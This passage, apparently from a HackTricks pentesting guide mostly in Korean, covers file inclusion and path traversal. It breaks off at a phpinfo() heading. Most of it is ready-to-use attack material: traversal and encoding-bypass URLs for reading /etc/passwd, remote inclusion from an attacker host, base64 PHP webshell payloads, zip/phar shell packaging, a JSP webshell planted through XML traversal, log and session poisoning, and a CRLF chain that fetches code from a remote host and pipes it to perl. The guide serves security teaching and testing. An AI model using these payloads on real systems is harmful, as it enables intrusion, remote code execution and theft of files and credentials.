38 KiB
Raw Blame History

File Inclusion/Path traversal

{{#include ../../banners/hacktricks-training.md}}

File Inclusion

Remote File Inclusion (RFI): 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 비활성화되어 있습니다 (allow_url_include).
Local File Inclusion (LFI): 서버가 로컬 파일을 로드합니다.

이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.

취약한 PHP 함수: require, require_once, include, include_once

이 취약점을 exploit하기 위한 흥미로운 도구: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

여러 *nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}

또한 /\로 바꿔보세요 \
또한 ../../../../../를 추가해보세요

/etc/password 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 here에서 찾을 수 있습니다

Windows

다른 wordlists의 병합:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}

또한 /\로 바꿔보세요 \
또한 C:/를 제거하고 ../../../../../를 추가해보세요

/boot.ini 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 here에서 찾을 수 있습니다

OS X

linux의 LFI 리스트를 확인하세요.

Basic LFI and bypasses

모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences가 비재귀적으로 제거됨

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

이는 PHP 5.4 이후로 해결되었습니다

인코딩

비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

기존 폴더에서

back-end가 folder path를 확인하고 있을 수도 있습니다:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

서버에서 파일 시스템 디렉터리 탐색

서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다:

  1. 디렉터리 깊이 확인: 서버가 Linux 기반인 경우 /etc/passwd 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 폴더 탐색: 의심되는 폴더 이름(예: private)을 URL에 추가한 다음 /etc/passwd로 돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 결과 해석: 서버의 응답은 폴더 존재 여부를 나타냅니다:
  • 오류 / 출력 없음: 지정된 위치에 private 폴더가 존재하지 않을 가능성이 큽니다.
  • /etc/passwd의 내용: private 폴더의 존재가 확인됩니다.
  1. 재귀적 탐색: 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.

파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 /var/www/private 디렉토리가 있는지 확인하려면:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다.

In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • 마지막 6글자가 passwd일 때, 끝에 /를 붙여 passwd/로 만들어도 대상 파일은 바뀌지 않는다.
  • 마찬가지로 파일 경로에 .php가 붙어 있으면 (예: shellcode.php) 끝에 /.를 추가해도 접근되는 파일은 변경되지 않는다.

아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 /etc/passwd에 접근하는 방법을 보여준다:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다.

  • Using Dot Segments and Additional Characters: Traversal sequences (../)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
  • Determining the Required Number of Traversals: 시행착오를 통해 루트 디렉터리로 이동한 다음 /etc/passwd로 접근하는 데 필요한 정확한 ../ 반복 횟수를 찾을 수 있으며, 이 과정에서 .php와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(/etc/passwd)는 유지되도록 할 수 있습니다.
  • Starting with a Fake Directory: 경로를 존재하지 않는 디렉터리(예: a/)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.

path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다.

이 취약점은 PHP 5.3에서 수정되었습니다.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **allow_url_include**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 On으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

만약 어떤 이유로 **allow_url_include**가 On인데 PHP가 외부 웹페이지 접근을 filtering한다면, according to this post, 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

이전 코드에서 마지막 +.txt는 공격자가 .txt로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 .txt로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다).

또 다른 예시 php:// 프로토콜을 사용하지 않는 경우는 다음과 같습니다:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 루트 요소

python에서 다음과 같은 코드의 경우:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

사용자가 **file_name**에 절대 경로를 전달하면, 이전 경로는 단순히 제거됩니다:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

이것은 the docs에 따른 의도된 동작입니다:

컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다.

Java 디렉토리 목록

Java에서 Path Traversal이 있고 파일 대신 디렉토리를 요청하면, 디렉토리 목록이 반환되는 것처럼 보입니다. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는).

상위 25개 파라미터

다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI PHP 래퍼 및 프로토콜 사용

php://filter

PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 수정 작업을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 다른 인코딩으로 변환(convert.iconv.<input_enc>.<output_enc>)합니다. 지원되는 모든 인코딩의 목록을 얻으려면 콘솔에서 iconv -l을 실행하세요.

Warning

convert.iconv.* 변환 필터를 남용하면 임의의 텍스트를 생성할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 LFI2RCE via php filters를 참고하세요.

  • Compression Filters
  • zlib.deflate: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용)
  • zlib.inflate: 데이터를 압축 해제
  • Encryption Filters
  • mcrypt.* : 사용 중단
  • mdecrypt.* : 사용 중단
  • 기타 필터
  • php에서 var_dump(stream_get_filters());를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:
  • consumed
  • dechunk: HTTP chunked encoding을 되돌림
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

The part "php://filter" is case insensitive

php filters를 oracle로 사용하여 임의의 파일 읽기

In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.

원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  • 초기에 rot13 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다).
  • When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
  • 최종 문제는 how to leak more than the initial letter입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다.
  • 그리고 추가 데이터를 얻기 위해서는 아이디어는 convert.iconv.UTF16.UTF16로 처음에 2 bytes of junk data at the beginning을 생성하고, UCS-4LE를 적용해 다음 2바이트와 pivot하게 한 뒤, delete the data until the junk data (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

또한 php://stdin, php://stdout and php://stderr를 사용하여 각각 file descriptors 0, 1 and 2에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)

zip:// and rar://

PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.
rar protocol을 남용하려면 특별히 활성화되어야 합니다.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

이 프로토콜은 php 설정 allow_url_open 및 **allow_url_include**에 의해 제한됩니다.

expect://

Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST 파라미터에 페이로드를 지정하세요:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

웹 애플리케이션이 파일 로딩에 include와 같은 함수를 사용할 때 .phar 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 .phar 파일을 생성하는 예를 보여줍니다:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar 파일을 컴파일하려면 다음 명령을 실행해야 합니다:

php --define phar.readonly=0 create_path.php

실행하면 test.phar라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.

LFI가 내부의 PHP 코드를 실행하지 않고 file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), 또는 filesize() 같은 함수로 파일을 단순히 읽는 경우, phar 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.

자세한 내용을 이해하려면 아래 문서를 참조하세요:

Phar Deserialization Exploitation Guide

{{#ref}} phar-deserialization.md {{#endref}}

CVE-2024-2961

php filters를 지원하는 PHP에서 읽는 임의의 파일을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 found in this post.
매우 간단 요약: PHP 힙의 3 byte overflow를 악용해 특정 크기의 free chunk 체인을 변조하여 임의의 주소에 무엇이든 쓸 수 있게 했고, 그 결과 **system**을 호출하는 훅을 추가했습니다.
추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다.

더 많은 프로토콜

더 많은 가능한 protocols to include here을 확인하세요:

  • php://memory and php://temp — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음)
  • file:// — 로컬 파일시스템 접근
  • http:// — HTTP(s) URL 접근
  • ftp:// — FTP(s) URL 접근
  • zlib:// — 압축 스트림
  • glob:// — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
  • ssh2:// — Secure Shell 2
  • ogg:// — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)

PHP의 'assert'를 통한 LFI

문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다.

예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:

assert("strpos('$file', '..') === false") or die("");

이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:

' and die(highlight_file('/etc/passwd')) or '

마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:

' and die(system("id")) or '

It's important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

이 기법은 당신이 control 하는 file path 를 가진 PHP function파일에 접근(access a file) 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 file() 호출처럼)와 관련이 있습니다.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

요약하자면, 이 기법은 "UCS-4LE" encoding 을 사용해 파일의 내용을 매우 big 하게 만들어 해당 파일을 여는 PHP function openingerror 를 발생시키도록 하는 방식입니다.

그 다음, 첫 문자를 leak 하기 위해 filter dechunk 를 다른 것들(예: base64, rot13)과 함께 사용하고 마지막으로 필터 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE 를 사용하여 place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 .. 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다.

Typical exploitation workflow:

  • 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다.
  • web-exposed directories 를 파악합니다. 일반적인 예:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다.
  • 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다.

Notes:

  • 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다.
  • Java 스택에서는 이러한 파일 쓰기가 단순한 File/Paths 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.

Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다.
  • ..가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요.
  • writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

Apache나 Nginx 서버가 include 함수 내부에서 LFI에 취약하다면, **/var/log/apache2/access.log or /var/log/nginx/access.log**에 접근을 시도해 user agent 또는 GET parameter<?php system($_GET['c']); ?> 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다.

Warning

쉘에 대해 double quotes를 사용하고 simple quotes 대신 사용할 경우, 큰따옴표는 문자열 "quote;"로 변환되어 PHP가 오류를 발생시키고, 다른 어떤 것도 실행되지 않습니다.

또한, payload를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다.

다른 로그에서도 동일한 방법을 시도할 수 있지만 주의하세요, 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

이메일을 통해

메일을 보내기: 내부 계정 (user@localhost)으로 <?php echo system($_REQUEST["cmd"]); ?> 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 /var/mail/<USERNAME> 또는 /var/spool/mail/<USERNAME> 경로로 include 해보세요.

/proc/*/fd/*을 통해

  1. 많은 shells를 업로드하세요 (예: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다.

/proc/self/environ을 통해

로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

upload를 통해

파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다

Zip 파일 업로드를 통해

PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions을 통해

웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP에서는 이 세션들이 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

쿠키를 <?php system('cat /etc/passwd');?>로 설정하세요

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI를 사용하여 PHP 세션 파일 포함하기

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh를 통한

ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 <HOME>/.ssh/id_rsa에 접근을 시도해 보세요.

vsftpd _logs_를 통한

FTP 서버 vsftpd의 로그는 _/var/log/vsftpd.log_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:

  1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
  2. 주입 후, LFI를 이용해 서버 로그 _/var/log/vsftpd.log_를 조회합니다.

php base64 filter (using base64)를 통한

this 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 "."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

writeup php filters to generate arbitrary content을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 generate arbitrary php code를 파일에 without needing to write 하지 않고 생성할 수 있다는 뜻입니다.

{{#ref}} lfi2rce-via-php-filters.md {{#endref}}

Via segmentation fault

Upload한 파일이 /tmptemporary로 저장된 다음, 같은 request에서 segmentation fault를 유발하면 해당 temporary file won't be deleted 상태가 되어 파일을 찾을 수 있습니다.

{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}

Via Nginx temp file storage

만약 Local File Inclusion을 찾았고 Nginx가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다:

{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}

Via PHP_SESSION_UPLOAD_PROGRESS

세션이 없고 session.auto_startOff인 경우에도 Local File Inclusion을 찾았다면, multipart POST 데이터에 **PHP_SESSION_UPLOAD_PROGRESS**를 제공하면 PHP가 자동으로 enable the session for you 합니다. 이를 악용해 RCE를 얻을 수 있습니다:

{{#ref}} via-php_session_upload_progress.md {{#endref}}

Via temp file uploads in Windows

Local File Inclusion을 찾았고 서버가 Windows에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다:

{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}

Via pearcmd.php + URL args

As explained in this post, 스크립트 /usr/local/lib/phppearcmd.php는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 =가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 watchTowrs write-upOrange Tsais “Confusion Attacks”도 참고하세요.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() (file_uploads = on)을 통해

